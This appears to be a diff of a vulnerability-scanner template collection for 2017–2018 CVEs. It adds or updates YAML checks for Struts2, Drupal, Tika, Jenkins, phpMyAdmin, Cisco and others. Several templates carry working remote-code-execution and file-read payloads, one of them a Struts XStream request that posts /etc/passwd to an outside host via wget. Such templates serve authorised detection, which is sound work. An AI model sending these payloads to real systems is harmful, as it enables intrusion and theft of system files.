+      - data: "{{hex_decode('fffa240003')}}CISCO_KITS{{hex_decode('01')}}2:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA{{hex_decode('000037b4023d55dc0000999c')}}BBBB{{hex_decode('00e1a9f4')}}CCCCDDDDEEEE{{hex_decode('00067b5c023d55c8')}}FFFFGGGG{{hex_decode('006cb3a000270b94')}}HHHHIIII{{hex_decode('014acf98')}}JJJJKKKKLLLL{{hex_decode('0114e7ec')}}:15:{{hex_decode('fff0')}}"
+        read: 1024
+      - data: "show priv"
+        read: 1024
+    host:
+      - "{{Hostname}}:23"
+    read-size: 1024
+    matchers:
+      - type: word
+        words:
+          - "Current privilege level is"
@@ -1,9 +1,10 @@
-id: cve-2017-5638
+id: CVE-2017-5638
 info:
-  author: "Random Robbie"
-  name: "Struts2 RCE "
+  author: Random Robbie
+  name: Apache Struts2 RCE
  severity: critical
  description: Struts is vulnerable to remote command injection attacks through incorrectly parsing an attacker’s invalid Content-Type HTTP header. The Struts vulnerability allows these commands to be executed under the privileges of the Web server.
+  tags: cve,cve2017,struts,rce,apache

 # This template supports the detection part only.
 # Do not test any website without permission
@@ -0,0 +1,32 @@
+id: CVE-2017-7269
+
+info:
+  name: CVE-2017-7269
+  author: thomas_from_offensity
+  severity: critical
+  description: RCE - Buffer overflow in ScStoragePathFromUrl function (WebDAV service - IIS 6.0) - Windows Server 2003 R2
+
+# this was implemented based on the "check"-method in:
+# https://github.com/danigargu/explodingcan/blob/master/explodingcan.py
+
+requests:
+  - method: OPTIONS
+    path:
+      - "{{BaseURL}}"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "IIS/6.0"
+        part: header
+      - type: dsl
+        dsl:
+          - regex("<DAV:sql>", dasl)    # lowercase header name: DASL
+          - regex("[\d]+(,\s+[\d]+)?", dav)    # lowercase header name: DAV
+          - regex(".*?PROPFIND", public)    # lowercase header name: Public
+          - regex(".*?PROPFIND", allow)    # lowercase header name: Allow
+        condition: or
+        part: header
@@ -1,10 +1,11 @@
-id: cve-2017-7391
+id: CVE-2017-7391

 info:
  name: Magmi – Cross-Site Scripting v.0.7.22
  author: pikpikcu
  severity: medium
  description: A Cross-Site Scripting (XSS) was discovered in 'Magmi 0.7.22'. The vulnerability exists due to insufficient filtration of user-supplied data (prefix) passed to the 'magmi-git-master/magmi/web/ajax_gettime.php' URL.
+  tags: cve,cve2017,magmi,xss

  # Issues:-https://github.com/dweeves/magmi-git/issues/522
  # Download:-https://github.com/dweeves/magmi-git/releases/download/0.7.22/magmi_full_0.7.22.zip
@@ -1,11 +1,11 @@
-id: cve-2017-7615
+id: CVE-2017-7615

 info:
  name: CVE-2017-7615
  author: bp0lr & dwisiswant0
  severity: high
  description: MantisBT through 2.3.0 allows arbitrary password reset and unauthenticated admin access via an empty confirm_hash value to verify.php.
-
+  tags: cve,cve2017,mantisbt

  # THIS TEMPLATE IS ONLY FOR DETECTING
  # To carry out further attacks, please see reference[2] below.
@@ -1,10 +1,11 @@
-id: cve-2017-9506
+id: CVE-2017-9506

 info:
  name: Jira IconURIServlet SSRF
-  author: Ice3man
+  author: pd-team
  severity: high
  description: The IconUriServlet of the Atlassian OAuth Plugin from version 1.3.0 before version 1.9.12 and from version 2.0.0 before version 2.0.4 allows remote attackers to access the content of internal network resources and/or perform an XSS attack via Server Side Request Forgery (SSRF).
+  tags: cve,cve2017,atlassian,jira,ssrf

 requests:
  - method: GET
@@ -0,0 +1,33 @@
+id: CVE-2017-9791
+
+info:
+  name: Apache Struts2 S2-053 RCE
+  author: pikpikcu
+  severity: critical
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2017-9791
+  tags: cve,cve2017,apache,rce
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/integration/saveGangster.action"
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+    body: |
+      name=%25%7b%28%23%64%6d%3d%40%6f%67%6e%6c%2e%4f%67%6e%6c%43%6f%6e%74%65%78%74%40%44%45%46%41%55%4c%54%5f%4d%45%4d%42%45%52%5f%41%43%43%45%53%53%29%2e%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%3f%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%3d%23%64%6d%29%3a%28%28%23%63%6f%6e%74%61%69%6e%65%72%3d%23%63%6f%6e%74%65%78%74%5b%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%2e%63%6f%6e%74%61%69%6e%65%72%27%5d%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%3d%23%63%6f%6e%74%61%69%6e%65%72%2e%67%65%74%49%6e%73%74%61%6e%63%65%28%40%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%6f%67%6e%6c%2e%4f%67%6e%6c%55%74%69%6c%40%63%6c%61%73%73%29%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%2e%67%65%74%45%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%2e%67%65%74%45%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%63%6f%6e%74%65%78%74%2e%73%65%74%4d%65%6d%62%65%72%41%63%63%65%73%73%28%23%64%6d%29%29%29%29%2e%28%23%71%3d%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%27%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%2e%28%23%71%29%7d&age=10&__checkbox_bustedBefore=true&description=
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "Content-Type: text/html"
+        part: header
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,87 @@
+id: CVE-2017-9805
+
+info:
+  name: Apache Struts2 S2-052 RCE
+  author: pikpikcu
+  severity: critical
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2017-9805
+  tags: cve,cve2017,apache,rce,struts
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/struts2-rest-showcase/orders/3"
+      - "{{BaseURL}}/orders/3"
+    headers:
+      Content-Type: application/xml
+    body: |
+        <map>
+          <entry>
+            <jdk.nashorn.internal.objects.NativeString>
+              <flags>0</flags>
+              <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
+                <dataHandler>
+                  <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
+                    <is class="javax.crypto.CipherInputStream">
+                      <cipher class="javax.crypto.NullCipher">
+                        <initialized>false</initialized>
+                        <opmode>0</opmode>
+                        <serviceIterator class="javax.imageio.spi.FilterIterator">
+                          <iter class="javax.imageio.spi.FilterIterator">
+                            <iter class="java.util.Collections$EmptyIterator"/>
+                            <next class="java.lang.ProcessBuilder">
+                              <command>
+                                <string>wget</string>
+                                <string>--post-file</string>
+                                <string>/etc/passwd</string>
+                      <string>burpcollaborator.net</string>
+                              </command>
+                              <redirectErrorStream>false</redirectErrorStream>
+                            </next>
+                          </iter>
+                          <filter class="javax.imageio.ImageIO$ContainsFilter">
+                            <method>
+                              <class>java.lang.ProcessBuilder</class>
+                              <name>start</name>
+                              <parameter-types/>
+                            </method>
+                            <name>asdasd</name>
+                          </filter>
+                          <next class="string">asdasd</next>
+                        </serviceIterator>
+                        <lock/>
+                      </cipher>
+                      <input class="java.lang.ProcessBuilder$NullInputStream"/>
+                      <ibuffer></ibuffer>
+                      <done>false</done>
+                      <ostart>0</ostart>
+                      <ofinish>0</ofinish>
+                      <closed>false</closed>
+                    </is>
+                    <consumed>false</consumed>
+                  </dataSource>
+                  <transferFlavors/>
+                </dataHandler>
+                <dataLen>0</dataLen>
+              </value>
+            </jdk.nashorn.internal.objects.NativeString>
+            <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
+          </entry>
+          <entry>
+            <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
+            <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
+          </entry>
+        </map>
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - "Debugging information"
+          - "com.thoughtworks.xstream.converters.collections.MapConverter"
+        condition: and
+
+      - type: status
+        status:
+          - 500
@@ -1,10 +1,12 @@
-id: cve-2017-9841
+id: CVE-2017-9841

 info:
  name: CVE-2017-9841
  author: Random-Robbie
  severity: high
  description: Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a "<?php " substring, as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI
+  tags: cve,cve2017,php,phpunit,rce
+
  # Reference to exploit
  # https://github.com/cyberharsh/Php-unit-CVE-2017-9841
  # https://github.com/RandomRobbieBF/phpunit-brute
@@ -1,12 +1,11 @@
-id: cve-2018-0296
+id: CVE-2018-0296

 info:
  name: Cisco ASA path traversal vulnerability
  author: organiccrap
  severity: medium
-  # https://github.com/yassineaboukir/CVE-2018-0296
-  # curl -k --path-as-is https://host/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions
-  # if vulnerable, curl -k --path-as-is https://host/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/number
+  tags: cve,cve2018,cisco,lfi
+  reference: https://github.com/yassineaboukir/CVE-2018-0296

 requests:
  - method: GET
@@ -1,17 +1,17 @@
-id: cve-2018-1000129
+id: CVE-2018-1000129

 info:
  name: Jolokia XSS
  author: mavericknerd @0h1in9e
  severity: high
  description: An XSS vulnerability exists in the Jolokia agent version 1.3.7 in the HTTP servlet that allows an attacker to execute malicious javascript in the victim's browser.
+  tags: cve,cve2018,jolokia,xss

 requests:
  - method: GET
    path:
      - "{{BaseURL}}/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
      - "{{BaseURL}}/api/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
-      - "{{BaseURL}}:8080/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
    matchers-condition: and
    matchers:
      - type: status
@@ -0,0 +1,25 @@
+id: CVE-2018-1000861
+
+info:
+  name: Jenkins 2.138 Remote Command Execution
+  author: dhiyaneshDK & @pikpikcu
+  severity: critical
+  reference: https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2018-1000861
+  tags: cve,cve2018,jenkin,rce
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27test%27,%20root=%27http://aaa%27)%0a@Grab(group=%27package%27,%20module=%27vulntest%27,%20version=%271%27)%0aimport%20Payload;'
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - "package#vulntest"
+        part: body
+
+      - type: status
+        status:
+          - 200
@@ -1,11 +1,11 @@
-id: cve-2018-11409
+id: CVE-2018-11409

 info:
  name: Splunk Sensitive Information Disclosure
  author: Harsh Bothra
  severity: medium
-
-# source:- https://nvd.nist.gov/vuln/detail/CVE-2018-11409
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2018-11409
+  tags: cve,cve2018,splunk

 requests:
  - method: GET
@@ -1,11 +1,11 @@
-id: cve-2018-11759
+id: CVE-2018-11759

 info:
  name: Apache Tomcat JK Status Manager Access
  author: Harsh Bothra
  severity: medium
-
-# Source:- https://github.com/immunIT/CVE-2018-11759
+  reference: https://github.com/immunIT/CVE-2018-11759
+  tags: cve,cve2018,apache

 requests:
  - method: GET
@@ -0,0 +1,24 @@
+id: CVE-2018-11776
+
+info:
+  name: Apache Struts2 S2-057 RCE
+  author: pikpikcu
+  severity: critical
+  reference: https://github.com/jas502n/St2-057
+  tags: cve,cve2018,apache,rce,struts
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%[email protected]@getRuntime%28%29.exec%28%27cat%20/etc/passwd%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%[email protected]@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/actionChain1.action"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,20 @@
+id: CVE-2018-11784
+
+info:
+  name: Apache Tomcat Open Redirect
+  author: geeknik
+  description: Apache Tomcat versions prior to 9.0.12, 8.5.34, and 7.0.91 are prone to an open-redirection vulnerability because it fails to properly sanitize user-supplied input.
+  reference: https://lists.apache.org/thread.html/23134c9b5a23892a205dc140cdd8c9c0add233600f76b313dda6bd75@%3Cannounce.tomcat.apache.org%3E
+  severity: medium
+  tags: tomcat,redirect,cve,cve2018
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}//example.com"
+
+    matchers:
+      - type: regex
+        regex:
+          - "(?m)^(L|l)ocation: (((http|https):)?//(www.)?)?example.com"
+        part: header
@@ -0,0 +1,26 @@
+id: CVE-2018-1207
+
+info:
+  name: Dell iDRAC7 and iDRAC8 Devices Code Injection/RCE
+  author: dwisiswant0
+  severity: critical
+  reference: https://downloads.dell.com/solutions/dell-management-solution-resources/iDRAC_CVE%201207_1211_1000116.pdf
+  description: |
+    This template supports the detection part only.
+
+    Dell EMC iDRAC7/iDRAC8, versions prior to 2.52.52.52, contain CGI injection vulnerability
+    which could be used to execute remote code. A remote unauthenticated attacker may
+    potentially be able to use CGI variables to execute remote code.
+
+    https://github.com/KraudSecurity/Exploits/blob/master/CVE-2018-1207/CVE-2018-1207.py
+  tags: cve,cve2018,dell,injection,rce
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cgi-bin/login?LD_DEBUG=files"
+    matchers:
+      - type: word
+        words:
+          - "calling init: /lib/"
+        part: all
@@ -1,9 +1,10 @@
-id: cve-2018-1247
+id: CVE-2018-1247

 info:
  name: RSA Authentication Manager XSS
  author: madrobot
  severity: medium
+  tags: cve,cve2018,xss,flash

 requests:
  - method: GET
@@ -0,0 +1,25 @@
+id: CVE-2018-12613
+
+info:
+  name: PhpMyAdmin 4.8.1 Remote File Inclusion
+  author: pikpikcu
+  severity: critical
+  reference: https://github.com/vulhub/vulhub/tree/master/phpmyadmin/CVE-2018-12613
+  tags: cve,cve2018,phpmyadmin,lfi
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd'
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+        part: body
+
+      - type: status
+        status:
+          - 200
@@ -1,10 +1,11 @@
-id: cve-2018-1271
+id: CVE-2018-1271

 info:
  name: Spring MVC Directory Traversal Vulnerability
  author: hetroublemakr
  severity: high
-  # reference: https://medium.com/@knownsec404team/analysis-of-spring-mvc-directory-traversal-vulnerability-cve-2018-1271-b291bdb6be0d
+  reference: https://medium.com/@knownsec404team/analysis-of-spring-mvc-directory-traversal-vulnerability-cve-2018-1271-b291bdb6be0d
+  tags: cve,cve2018,spring,lfi

 requests:
  - method: GET
@@ -1,4 +1,4 @@
-id: cve-2018-1273
+id: CVE-2018-1273

 info:
  name: Spring Data Commons Unauthenticated RCE
@@ -11,6 +11,8 @@ info:
    An unauthenticated remote malicious user (or attacker) can supply
    specially crafted request parameters against Spring Data REST backed HTTP resources
    or using Spring Data’s projection-based request payload binding hat can lead to a remote code execution attack.
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2018-1273
+  tags: cve,cve2018,vmware,rce

 requests:
  - payloads:
@@ -0,0 +1,40 @@
+id: CVE-2018-1335
+
+info:
+  name: Apache Tika 1.15-1.17 Header Command Injection
+  author: pikpikcu
+  severity: critical
+  reference: https://rhinosecuritylabs.com/application-security/exploiting-cve-2018-1335-apache-tika/
+  edb: https://www.exploit-db.com/exploits/47208
+  tags: cve,cve2018,apache,tika,rce
+
+requests:
+  - method: PUT
+    path:
+      - "{{BaseURL}}/meta"
+    headers:
+      X-Tika-OCRTesseractPath: cscript
+      X-Tika-OCRLanguage: //E:Jscript
+      Expect: 100-continue
+      Content-type: image/jp2
+      Connection: close
+    body: "var oShell = WScript.CreateObject('WScript.Shell');var oExec = oShell.Exec(\"cmd /c whoami\");"
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - "Content-Type: text/csv"
+        part: header
+
+      - type: word
+        words:
+          - "org.apache.tika.parser.DefaultParser"
+          - "org.apache.tika.parser.gdal.GDALParse"
+        part: body
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -1,15 +1,16 @@
-id: cve-2018-13379
+id: CVE-2018-13379

 info:
  name: FortiOS - Credentials Disclosure
  author: organiccrap
  severity: high
+  tags: cve,cve2018,fortios

 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
+      - "{{BaseURL}}/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
    matchers:
      - type: word
        words:
-          - "var fgt_lang ="
+          - "var fgt_lang"
@@ -1,4 +1,4 @@
-id: cve-2018-13380
+id: CVE-2018-13380

 info:
  name: Fortinet FortiOS Cross-Site Scripting
@@ -7,11 +7,12 @@ info:
  description: A Cross-site Scripting (XSS) vulnerability in Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.0 to 5.6.7, 5.4.0 to 5.4.12, 5.2 and below versions under SSL VPN web portal allows attacker to execute unauthorized malicious script code via the error or message handling parameters.
  type: XSS
  reference: https://nvd.nist.gov/vuln/detail/CVE-2018-13380
+  tags: cve,cve2018,fortios,xss

 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/message?title=x&msg=%26%23<svg/onload=alert(1337)>"
+      - "{{BaseURL}}/message?title=x&msg=%26%23%3Csvg/onload=alert(1337)%3E"

    matchers-condition: and
    matchers:
@@ -28,4 +29,4 @@ requests:

      - type: status
        status:
-          - 200
+          - 200
@@ -0,0 +1,23 @@
+id: CVE-2018-14574
+
+info:
+  name: Django Open Redirect
+  author: pikpikcu
+  severity: low
+  tags: cve,cve2018,django,redirect
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}//www.example.com"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 301
+      - type: word
+        words:
+          - "Location: https://www.example.com"
+          - "Location: http://www.example.com"
+        part: header
@@ -1,9 +1,10 @@
-id: cve-2018-14728
+id: CVE-2018-14728

 info:
  name: Responsive filemanager 9.13.1 - SSRF/LFI
  author: madrobot
  severity: high
+  tags: cve,cve2018,ssrf,lfi

 requests:
  - method: POST
@@ -1,10 +1,12 @@
-id: cve-2018-16341
+id: CVE-2018-16341

 info:
  name: Nuxeo Authentication Bypass Remote Code Execution
  author: madrobot
  severity: high
-  description: Nuxeo Authentication Bypass Remote Code Execution &lt; 103 using a SSTI
+  description: Nuxeo Authentication Bypass Remote Code Execution < 10.3 using a SSTI
+  tags: cve,cve2018,nuxeo,ssti,rce
+
 requests:
  - method: GET
    path:
@@ -13,4 +15,4 @@ requests:
      - type: word
        words:
          - "31333333337"
-        part: body
+        part: body
@@ -1,13 +1,14 @@
-id: cve-2018-16763
+id: CVE-2018-16763

 info:
  name: fuelCMS 1.4.1 - Remote Code Execution
  author: pikpikcu
  severity: critical
+  tags: cve,cve2018,fuelcms,rce

 # Vendor Homepage: https://www.getfuelcms.com/
 # Software Link: https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1
-# Refrence: https://www.exploit-db.com/exploits/47138
+# reference: https://www.exploit-db.com/exploits/47138

 requests:
  - raw:
@@ -1,10 +1,11 @@
-id: cve-2018-17431
+id: CVE-2018-17431

 info:
  name: Comodo Unified Threat Management Web Console 2.7.0 - RCE
  author: dwisiswant0
  severity: critical
  description: Comodo Firewall & Central Manager (UTM) All Release before 2.7.0 & 1.5.0 Remote Code Execution (Web Shell based)
+  tags: cve,cve2018,comodo,rce

  # References:
  # - https://www.exploit-db.com/exploits/48825
@@ -1,10 +1,11 @@
-id: cve-2018-18069
+id: CVE-2018-18069

 info:
  name: Wordpress unauthenticated stored xss
  author: nadino
  severity: medium
  description: process_forms in the WPML (aka sitepress-multilingual-cms) plugin through 3.6.3 for WordPress has XSS via any locale_file_name_ parameter (such as locale_file_name_en) in an authenticated theme-localization.php request to wp-admin/admin.php.
+  tags: cve,cve2018,wordpress,xss

 requests:
  - method: POST
@@ -0,0 +1,26 @@
+id: CVE-2018-18778
+
+info:
+  name: mini_httpd Path Traversal
+  author: dhiyaneshDK
+  severity: high
+  description: ACME mini_httpd before 1.30 lets remote users read arbitrary files.
+  reference: https://www.acunetix.com/vulnerabilities/web/acme-mini_httpd-arbitrary-file-read/
+  tags: cve,cve2018,lfi
+
+requests:
+  - raw:
+      - |+
+        GET /etc/passwd HTTP/1.1
+        Host:
+        Content-Length: 4
+
+    unsafe: true
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
@@ -1,11 +1,11 @@
-id: cve-2018-19386
+id: CVE-2018-19386

 info:
  name: SolarWinds Database Performance Analyzer 11.1. 457 - Cross Site Scripting
  author: pikpikcu
  severity: medium
-
-# Refrence:-https://www.cvedetails.com/cve/CVE-2018-19386/
+  reference: https://www.cvedetails.com/cve/CVE-2018-19386/
+  tags: cve,cve2018,solarwinds,xss

 requests:
  - method: GET
@@ -1,10 +1,11 @@
-id: cve-2018-19439
+id: CVE-2018-19439

 info:
  name: Cross Site Scripting in Oracle Secure Global Desktop Administration Console
  author: madrobot & dwisiswant0
  severity: high
  description: XSS exists in the Administration Console in Oracle Secure Global Desktop 4.4 20080807152602 (but was fixed in later versions including 5.4)
+  tags: cve,cve2018,oracle,xss

 requests:
  - method: GET
@@ -1,10 +1,11 @@
-id: cve-2018-20824
+id: CVE-2018-20824

 info:
  name: Atlassian Jira WallboardServlet XSS
  author: madrobot & dwisiswant0
  severity: medium
  description: The WallboardServlet resource in Jira before version 7.13.1 allows remote attackers to inject arbitrary HTML or JavaScript via a cross site scripting (XSS) vulnerability in the cyclePeriod parameter.
+  tags: cve,cve2018,atlassian,jira,xss

 requests:
  - method: GET
@@ -1,10 +1,12 @@
-id: cve-2018-2791
+id: CVE-2018-2791

 info:
  name: Oracle WebCenter Sites XSS
  author: madrobot
  severity: medium
  description: Vulnerability in the Oracle WebCenter Sites component of Oracle Fusion Middleware
+  tags: cve,cve2018,oracle,xss
+
 requests:
  - method: GET
    path:
@@ -0,0 +1,25 @@
+id: CVE-2018-3167
+
+info:
+  name: Unauthenticated Blind SSRF in Oracle EBS
+  author: geeknik
+  severity: low
+  description: https://medium.com/@x41x41x41/unauthenticated-ssrf-in-oracle-ebs-765bd789a145
+  tags: cve,cve2018,oracle,ebs,ssrf
+
+requests:
+  - method: POST
+    path:
+      - '{{BaseURL}}/OA_HTML/lcmServiceController.jsp'
+
+    body: <!DOCTYPE root PUBLIC "-//B/A/EN" "http://localhost:80">
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'Unexpected text in DTD'
+        part: body
+      - type: status
+        status:
+          - 200
@@ -1,8 +1,10 @@
-id: cve-2018-3714
+id: CVE-2018-3714
 info:
  name: node-srv Path Traversal
  author: madrobot
  severity: high
+  reference: https://hackerone.com/reports/309124
+  tags: cve,cve2018,nodejs,lfi

 requests:
  - method: GET
@@ -1,14 +1,16 @@
-id: cve-2018-3760
+id: CVE-2018-3760

 info:
-  name: Rails cve-2018-3760
+  name: Rails CVE-2018-3760
  author: 0xrudra
  severity: high
+  tags: cve,cve2018,rails,lfi

 requests:
  - method: GET
    path:
      - "{{BaseURL}}/assets/file:%2f%2f/etc/passwd"
+
    matchers-condition: and
    matchers:
      - type: status
@@ -0,0 +1,37 @@
+id: CVE-2018-3810
+
+info:
+  name: WordPress Smart Google Code Inserter Authentication Bypass
+  author: princechaddha
+  severity: critical
+  reference: https://www.exploit-db.com/exploits/43420
+  tags: wordpress,cve,cve2018
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/wp-admin/options-general.php?page=smartcode"
+
+    body: 'sgcgoogleanalytic=<script>console.log("Nuclei - Open-source project [github.com/projectdiscovery/nuclei]")</script>&sgcwebtools=&button=Save+Changes&action=savegooglecode'
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+
+  - method: GET
+    path:
+      - "{{BaseURL}}/"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "text/html"
+        part: header
+
+      - type: word
+        words:
+          - '<script>console.log("Nuclei - Open-source project [github.com/projectdiscovery/nuclei]")</script>'
+        part: body
+
+      - type: status
+        status:
+          - 200
@@ -1,9 +1,10 @@
-id: cve-2018-5230
+id: CVE-2018-5230

 info:
  name: Atlassian Confluence Status-List XSS
  author: madrobot
  severity: medium
+  tags: cve,cve2018,atlassian,confluence,xss

 requests:
  - method: GET
@@ -0,0 +1,28 @@
+id: CVE-2018-6910
+
+info:
+  name: DedeCMS 5.7 path disclosure
+  author: pikpikcu
+  severity: medium
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2018-6910
+  description: DedeCMS 5.7 allows remote attackers to discover the full path via a direct request for include/downmix.inc.php or inc/inc_archives_functions.php
+  tags: cve,cve2018,dedecms
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/include/downmix.inc.php"
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - "downmix.inc.php"
+          - "Call to undefined function helper()"
+        part: body
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,19 @@
+id: CVE-2018-7251
+
+info:
+  name: AnchorCMS Error Log Exposure
+  author: pd-team
+  severity: medium
+  tags: cve,cve2018,anchorcms,logs
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/anchor/errors.log'
+    matchers:
+      - type: word
+        words:
+          - '"date":'
+          - '"message":'
+          - '"trace":['
+        condition: and
@@ -1,14 +1,16 @@
-id: cve-2018-7490
+id: CVE-2018-7490

 info:
  name: uWSGI PHP Plugin Directory Traversal
  author: madrobot
  severity: high
+  tags: cve,cve2018,uwsgi,php,lfi

 requests:
  - method: GET
    path:
      - "{{BaseURL}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
+
    matchers-condition: and
    matchers:
      - type: status
@@ -0,0 +1,57 @@
+id: CVE-2018-7600
+
+info:
+  name: Drupal Drupalgeddon 2 RCE
+  author: pikpikcu
+  severity: critical
+  reference: https://github.com/vulhub/vulhub/tree/master/drupal/CVE-2018-7600
+  tags: cve,cve2018,drupal,rce
+
+requests:
+  - raw:
+      - |
+        POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
+        Host:  {{Hostname}}
+        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: application/json
+        Referer:  {{Hostname}}/user/register
+        X-Requested-With: XMLHttpRequest
+        Content-Type: multipart/form-data; boundary=---------------------------99533888113153068481322586663
+        Content-Length: 626
+        Connection: close
+
+        -----------------------------99533888113153068481322586663
+        Content-Disposition: form-data; name="mail[#post_render][]"
+
+        passthru
+        -----------------------------99533888113153068481322586663
+        Content-Disposition: form-data; name="mail[#type]"
+
+        markup
+        -----------------------------99533888113153068481322586663
+        Content-Disposition: form-data; name="mail[#markup]"
+
+        cat /etc/passwd
+        -----------------------------99533888113153068481322586663
+        Content-Disposition: form-data; name="form_id"
+
+        user_register_form
+        -----------------------------99533888113153068481322586663
+        Content-Disposition: form-data; name="_drupal_ajax"
+
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "application/json"
+        part: header
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+        part: body
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2018-7700
+
+info:
+  name: DedeCMS V5.7SP2 RCE
+  author: pikpikcu
+  severity: high
+  reference: https://laworigin.github.io/2018/03/07/CVE-2018-7700-dedecms%E5%90%8E%E5%8F%B0%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/
+  tags: cve,cve2018,dedecms,rce
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/tag_test_action.php?url=a&token=&partcode={dede:field%20name=%27source%27%20runphp=%27yes%27}phpinfo();{/dede:field}"
+
